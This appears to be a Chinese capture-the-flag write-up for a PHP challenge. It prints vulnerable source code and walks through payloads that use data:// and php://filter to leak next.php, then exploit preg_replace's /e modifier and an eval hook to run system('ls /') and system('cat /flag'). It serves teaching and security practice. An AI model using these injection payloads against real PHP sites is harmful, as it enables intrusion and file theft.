知识点

  • data://
  • php://filter
  • preg_replace函数缺陷（/e模式下导致代码执行）

启动靶机

打开题目，拿到源码

  1. <?php
  3. error_reporting(0);
  4. $text = $_GET["text"];
  5. $file = $_GET["file"];
  6. if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
  7.     echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
  8.     if(preg_match("/flag/",$file)){
  9.         die("Not now!");
  10.     }
  12.     include($file);  //next.php
  14. }
  15. else{
  16.     highlight_file(__FILE__);
  17. }
  18. ?>

第一层绕过

先看第一个if条件

  1. if(isset($text)&&(file_get_contents($text,'r')==="I have a dream"))

利用data://来绕过第一个参数，利用php://filter绕过第二个参数。payload：

  1. ?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

得到next.php的源码，进行base64解码
image.png

审计next.php

  1. <?php
  2. $id = $_GET['id'];
  3. $_SESSION['id'] = $id;
  5. function complex($re, $str) {
  6.     return preg_replace(
  7.         '/(' . $re . ')/ei',
  8.         'strtolower("\\1")',
  9.         $str
  10.     );
  11. }
  14. foreach($_GET as $re => $str) {
  15.     echo complex($re, $str). "\n";
  16. }
  18. function getFlag(){
  19.     @eval($_GET['cmd']);
  20. }

审计源码，主要是对我们传入的参数使用complex进行了处理，complex代码如下：

  1. function complex($re, $str) {
  2.     return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
  3. }

preg_replace 使用了 /e 模式，导致可以代码执行，可以参考这篇文章：深入研究 preg_replace /e 模式下的代码漏洞问题
payload为：

  1. /?.*={${phpinfo()}}

get到的值是/?.*，参数是{${phpinfo()}}。但是如果.*传参，在php中对传入非法的$_GET参数名，会将其转换为下划线，导致正则匹配失效，所以传参用\S*
最终payload：

  1. next.php?\S*=${getflag()}&cmd=system('ls /');
  2. next.php?\S*=${getflag()}&cmd=system('cat /flag');

写在最后：正则表达式中的反向引用\1

对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中，所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始，最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 \n 访问，其中 n 为一个标识特定缓冲区的一位或两位十进制数。

1、正则表达式中 “\number” 表示反向引用，表示引用一个捕获组，需要和小括号 “()” 一起使用
2、正则捕获组的下标从 0 开始，下标为 0 的组是整个表达式，下标为 1 的表示从左到右开始的第一个左括号所包含的值，后面的数字以此类推
3、捕获组在匹配成功时，会将子表达式匹配到的内容，保存到内存中一个以数字编号的组里，可以简单的认为是对一个局部变量进行了赋值，这时就可以通过反向引用的方式，引用这个局部变量的值。
4、反向引用必须要与捕获组一同使用，如果没有捕获组，而使用了反向引用的语法，不同语言的处理方式不一致，有的语言会抛异常，有的语言会当作普通的转义处理